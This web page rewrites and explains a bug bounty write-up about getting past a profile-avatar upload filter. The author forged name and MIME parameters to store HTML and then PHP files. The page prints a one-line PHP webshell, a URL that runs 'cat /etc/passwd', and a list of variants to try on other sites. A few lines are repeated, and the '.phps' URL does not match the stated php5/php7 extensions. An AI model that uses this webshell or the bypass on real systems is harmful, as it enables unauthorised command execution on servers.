Found RCE but got Duplicated
The file upload feature only checked the file extension on the client side, so an attacker could upload a PHP file with an alternative extension like .php5 or .php7 and execute commands on the server. The author also bypassed restrictions to upload an HTML file, leading to stored XSS.
Published on medium.com
So first of All i can not show You the Name Of the Site Because Of security Issue But Let me tell You How Was I am able to bypass the file Upload functionality to Upload a shell to the website.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This is a write-up of an unrestricted file upload that turned into remote code execution on a site the author does not name, citing a security issue and, later, company policy. The feature involved is the profile avatar upload: a user edits their profile, picks an image, and the application stores it and serves it back from a path under the site's own domain.
The author notes that other images on the site were served from a static path such as https://victimsite.com/images/static/image.jpg, while uploaded avatars landed under a per-user directory. The report does not describe the application's stack, version, or the server software behind the upload handler.
Setup
The write-up does not describe any special tooling, accounts or roles beyond an ordinary profile editing screen. The only precondition shown is the ability to reach the avatar upload flow and to intercept and modify the requests it generates, since the exploitation depends on editing a GET request and then a PUT request by hand.
Finding it
The author started on the edit profile screen looking for XSS, on the grounds that XSS pays well, and reports finding none in any parameter tried. That led to the upload path instead.
The first observation was about where uploaded files end up. A simple image uploaded to the profile was served from a path containing the profile ID and the file name:
https://victimsite.com/images/users/<ProfilID>/smilehacker.jpg
Because the file is served from the same application rather than a third-party host, anything the server will store and return as an active content type becomes interesting.
The second observation was the extension filter. Uploading any extension other than JPG or PNG produced a forbidden error popup, which the author took as confirmation that other MIME types were restricted.
Exploitation
Step 1: a GET request that carries the file name and MIME type
Rather than fight the upload form, the author looked at the request the avatar flow makes and found a GET request that takes the file name and MIME type as parameters:
https://victimsite.com/settings/<id>/avatar?name=test.png&mime=image%2Fpng
This returned 200 OK. The parameters name and mime are the interesting part: the client tells the server what the file will be called and what type it is, and the server accepts that.
Step 2: the PUT request that writes the file
The next request in the flow was a PUT to the images directory:
https://victimsite.com/users/<id>/testtts.png
This is the request that actually stores the file. The author first tried sending HTML or TXT content in the PUT body and got a 500 error. The cause, as the author later realised, was the Referer header: it carried the previous URL, so the name and MIME type set in the first GET request were being carried into the PUT request as the referer.
Step 3: changing the name and MIME type in the GET, then the content in the PUT
The fix was to repeat the flow with the first GET request changed so that its name and mime parameters described an HTML file, and then to change the content and file type in the PUT request:
https://victimsite.com/settings/<id>/avatar?name=smile.html&mime=text%2Fhtml
This returned 200. Following that request with a PUT that uploaded an HTML file succeeded. The author describes the result as stored XSS via an HTML file, bypassing same-origin policies and the X-Frame-Options header, and more.
Step 4: a PHP shell, and a 403
With an HTML file accepted, the author moved to PHP, using a small backdoor the author says was found on Google:
<?php if(isset($_REQUEST[‘cmd‘])){ echo “<pre>“; $cmd = ($_REQUEST[‘cmd‘]); system($cmd); echo “</pre>“; die; }?>
Uploading PHP returned 403. Uploading PHP returned 403.
Step 5: alternative PHP extensions
As a last attempt, the author tried other PHP extensions. php5 and php7 were accepted, and the uploaded file was reachable and executed:
https://victimsite.com/images/users/<id>/try.phps?cmd=cat+/etc/passwd
The author calls this their first RCE. The author calls this their first RCE.
The bug was fixed a week later. The author does not name the site, citing company policy.
Root cause
The file name and MIME type were set as parameters on a GET request, and the PUT request that stored the file carried that URL in its Referer header. The extension check that produced the forbidden popup on the form was therefore not the only gate: by changing the parameters on the GET request, the author could make the server accept an HTML file, and later a .php5 or .php7 file, which the server then executed.
The author found the PUT failed until the preceding GET request's name and MIME type matched.
Impact
An authenticated user who can reach the profile avatar upload could store an HTML file on the site's own domain, which the author describes as stored XSS that bypassed same-origin policies and X-Frame-Options. With a .php5 or .php7 file, the same user could run commands on the server, as shown by reading /etc/passwd. The author states the issue was fixed after a week.
Fix
Based on the behaviour shown, the fix should stop trusting client-supplied name and MIME type, derive the stored type from the file content, allow only a strict set of image types, and store uploads outside any directory the server will execute. The Referer dependency should be removed so that the outcome of the PUT does not depend on the preceding request.
Variants to test
- Look for upload flows split across two requests, where one request sets the name and MIME type and a later request writes the body. A positive result is the second request succeeding with a name and type you chose in the first.
- Check whether the second request reads the
Refererheader. A positive result is a500when the referer does not match, and a200when it does. - Try alternative executable extensions such as
php5andphp7when.phpis blocked. A positive result is the file being stored and executed when requested. - Try HTML content with a
text/htmlMIME type. A positive result is the file being served and rendered as HTML from the site's own domain. - Compare where uploaded files are served from against where static assets live. A positive result is an upload path under the application's own domain rather than a separate asset host.
What happened, in plain words
A security researcher was poking around a website's profile editing page. Every website that lets you have an account usually lets you add a picture of yourself, called an avatar. The researcher wanted to find a bug that pays money, so at first they looked for a cross-site scripting (XSS) flaw, which is a way to sneak your own code into a page so it runs in other people's browsers. They did not find one.
So they turned to the picture upload instead. The idea was simple: if the website lets you upload a picture, what happens if you upload something that is not a picture, like a small program? Normally the site says no. But the researcher found that the site checked the file's name and type in one request, and then saved the file in a second request, and the second request trusted what the first one said. By changing the name and type in the first request, they got the site to accept an HTML file (which can run code in a browser) and later a PHP file (which runs on the server). The PHP file let them run commands on the server itself. That is called remote code execution, or RCE.
The site fixed the bug a week later. The researcher does not name the site, citing a security issue and, later, company policy. The title of the write-up says the report was marked as a duplicate.
The feature being attacked
The feature is the profile avatar upload. You open your profile settings, choose an image from your computer, and the site stores it and shows it back to you. Behind the scenes, your browser sends the file to the server, and the server saves it somewhere and gives it a web address so it can be displayed.
A useful thing to understand here is the difference between a static file and an uploaded file. Static files are the site's own pictures, logos and so on, and they usually live at a fixed address. Uploaded files are things users put there, and they usually live in a folder per user. The researcher noticed that other images on the site were served from a path like this:
https://victimsite.com/images/static/image.jpg
That is the static path. When the researcher uploaded a simple image to their profile, it ended up at a different path, one that includes the profile ID and the file name:
https://victimsite.com/images/users/<ProfilID>/smilehacker.jpg
<ProfilID> is a placeholder for the number that identifies the user's profile. The important part is that the file is served from the same website, not from a separate image host. If the server will store a file and hand it back as a web page, that is worth investigating, because a web page can contain code that runs in the browser of anyone who opens it.
Step 1: looking for XSS first
The researcher started on the edit profile screen, trying to find an XSS bug, because XSS pays well. XSS, or cross-site scripting, is when a site takes something you typed and puts it into a page without cleaning it, so that if what you typed was code, the browser runs it. The researcher tried every parameter they could find and found none. That is why they switched to the upload.
Step 2: the extension filter
The next thing the researcher tried was uploading files with other extensions. An extension is the part of a file name after the dot, like .jpg or .png, and it tells the computer what kind of file it is. When the researcher tried anything other than JPG or PNG, the site showed a forbidden error popup. That told them the site was restricting which file types it would accept.
A MIME type is the formal name for a file type that computers send to each other, like image/png for a PNG image or text/html for a web page. The forbidden popup suggested the site was checking MIME types, not just extensions.
Step 3: a GET request that carries the file name and MIME type
Instead of fighting the upload form, the researcher looked at the requests the avatar flow makes. A request is a message your browser sends to a server asking for something. A GET request is the kind used to ask for a page or some data. A PUT request is the kind used to send data to the server to be stored. You can see and edit these requests with a tool that sits between your browser and the server, which is how the researcher changed them by hand.
The researcher found a GET request that takes the file name and MIME type as parameters:
https://victimsite.com/settings/<id>/avatar?name=test.png&mime=image%2Fpng
Line by line:
https://victimsite.com/settings/<id>/avataris the address of the avatar setting for the user whose ID is<id>.?starts the list of parameters, which are extra pieces of information sent along with the request.name=test.pngtells the server the file will be calledtest.png.&separates one parameter from the next.mime=image%2Fpngtells the server the file type isimage/png. The%2Fis how a slash is written inside a URL, so this decodes toimage/png.
The point is that the browser is telling the server what the file is called and what type it is, and the server accepts that. This returned 200 OK, which is the standard code for a successful request. The parameters name and mime are the interesting part, because they are supplied by the client, meaning the person using the browser, and the server trusts them.
Step 4: the PUT request that writes the file
The next request in the flow was a PUT to the images directory:
https://victimsite.com/users/<id>/testtts.png
Line by line:
https://victimsite.com/users/<id>/is the folder for the user whose ID is<id>.testtts.pngis the file name being written.
This is the request that actually stores the file. The researcher first tried sending HTML or TXT content in the PUT body, which is the part of the request that carries the file's contents, and got a 500 error. A 500 is the server saying something went wrong on its side.
The cause, as the researcher later realised, was the Referer header. A header is a small piece of extra information attached to a request, and the Referer header tells the server which page the request came from. In this case it carried the previous URL, so the name and MIME type set in the first GET request were being carried into the PUT request as the referer. The server rejected the PUT until the preceding GET request's name and MIME type matched.
Step 5: changing the name and MIME type in the GET, then the content in the PUT
The fix was to repeat the flow with the first GET request changed so that its name and mime parameters described an HTML file, and then to change the content and file type in the PUT request:
https://victimsite.com/settings/<id>/avatar?name=smile.html&mime=text%2Fhtml
Line by line:
name=smile.htmltells the server the file will be calledsmile.html, which is a web page.mime=text%2Fhtmltells the server the file type istext/html, which is a web page. The%2Fagain stands for a slash.
This returned 200. Following that request with a PUT that uploaded an HTML file succeeded. The researcher describes the result as stored XSS via an HTML file. Stored means the file stays on the server and is served to anyone who opens it, so the code inside it runs in their browser. The researcher says this bypassed same-origin policies and the X-Frame-Options header, and more. Same-origin policy is a browser rule that stops a page from one site reading data from another site. X-Frame-Options is a header a site can send to stop other sites from embedding its pages in a frame. The report does not explain exactly how these were bypassed.
Step 6: a PHP shell, and a 403
With an HTML file accepted, the researcher moved to PHP. PHP is a programming language that runs on the server, not in the browser. The researcher used a small backdoor they say was found on Google:
<?php if(isset($_REQUEST[‘cmd‘])){ echo “<pre>“; $cmd = ($_REQUEST[‘cmd‘]); system($cmd); echo “</pre>“; die; }?>
Line by line:
<?phpstarts a block of PHP code.if(isset($_REQUEST[‘cmd‘])){checks whether the request contains a parameter calledcmd.echo “<pre>“;prints the opening of a preformatted text block, so the output looks tidy.$cmd = ($_REQUEST[‘cmd‘]);takes the value ofcmdand stores it in a variable called$cmd.system($cmd);runs that value as a command on the server.echo “</pre>“;closes the preformatted block.die;stops the script.?>ends the PHP block.
In plain words, this is a tiny program that takes whatever command you put in the cmd parameter and runs it on the server. Uploading PHP returned 403, which means forbidden.
Step 7: alternative PHP extensions
As a last attempt, the researcher tried other PHP extensions. php5 and php7 were accepted, and the uploaded file was reachable and executed:
https://victimsite.com/images/users/<id>/try.phps?cmd=cat+/etc/passwd
Line by line:
https://victimsite.com/images/users/<id>/try.phpsis the address of the uploaded file. The extension is.phps.?cmd=cat+/etc/passwdpasses a command to the script. The+signs stand for spaces in a URL, so the command iscat /etc/passwd.cat /etc/passwdprints the contents of a file called/etc/passwd, which on many systems lists the user accounts.
The researcher calls this their first RCE. RCE, or remote code execution, means someone can run their own commands on a machine they do not physically control. The bug was fixed a week later.
Why it worked
The file name and MIME type were set as parameters on a GET request, and the PUT request that stored the file carried that URL in its Referer header. The extension check that produced the forbidden popup on the form was therefore not the only gate: by changing the parameters on the GET request, the researcher could make the server accept an HTML file, and later a .php5 or .php7 file, which the server then executed.
The author found the PUT failed until the preceding GET request's name and MIME type matched.
What it means
An authenticated user, meaning someone with a normal account who can log in, who can reach the profile avatar upload could store an HTML file on the site's own domain, which the researcher describes as stored XSS that bypassed same-origin policies and X-Frame-Options. With a .php5 or .php7 file, the same user could run commands on the server, as shown by reading /etc/passwd. The researcher states the issue was fixed after a week.
How it should be fixed
Based on the behaviour shown, the fix should stop trusting client-supplied name and MIME type, work out the stored type from the file content, allow only a strict set of image types, and store uploads outside any directory the server will execute. The Referer dependency should be removed so that the outcome of the PUT does not depend on the preceding request.
Things to try on other sites
- Look for upload flows split across two requests, where one request sets the name and MIME type and a later request writes the body. A positive result is the second request succeeding with a name and type you chose in the first.
- Check whether the second request reads the
Refererheader. A positive result is a500when the referer does not match, and a200when it does. - Try alternative executable extensions such as
php5andphp7when.phpis blocked. A positive result is the file being stored and executed when requested. - Try HTML content with a
text/htmlMIME type. A positive result is the file being served and rendered as HTML from the site's own domain. - Compare where uploaded files are served from against where static assets live. A positive result is an upload path under the application's own domain rather than a separate asset host.
Glossary
- XSS (cross-site scripting): a bug where a site puts something you typed into a page without cleaning it, so code you typed runs in other people's browsers.
- Stored XSS: XSS where the malicious content is saved on the server and served to anyone who opens the page.
- RCE (remote code execution): running your own commands on a machine you do not physically control.
- Avatar: the picture shown next to a user's profile.
- Extension: the part of a file name after the dot, like
.jpg, which tells the computer what kind of file it is. - MIME type: the formal name for a file type that computers send to each other, like
image/pngortext/html. - GET request: a request used to ask a server for a page or some data.
- PUT request: a request used to send data to a server to be stored.
- Request: a message your browser sends to a server asking for something or sending something.
- Response code: a number the server sends back to say how the request went, such as
200 OK,403forbidden or500server error. - Parameter: an extra piece of information sent along with a request, usually after a
?in the address. - Header: a small piece of extra information attached to a request or response.
- Referer header: a header that tells the server which page the request came from.
- Same-origin policy: a browser rule that stops a page from one site reading data from another site.
- X-Frame-Options: a header a site can send to stop other sites from embedding its pages in a frame.
- PHP: a programming language that runs on the server, not in the browser.
- Backdoor: a small program left on a server that lets someone run commands on it later.
- Blocklist: a list of things that are forbidden, as opposed to an allowlist, which is a list of things that are permitted.
- Authenticated user: someone who has logged in with a normal account.
- Static file: a file that is part of the site itself, like a logo, served from a fixed address.
- Duplicate: a bug report that is marked as the same as one someone else already reported.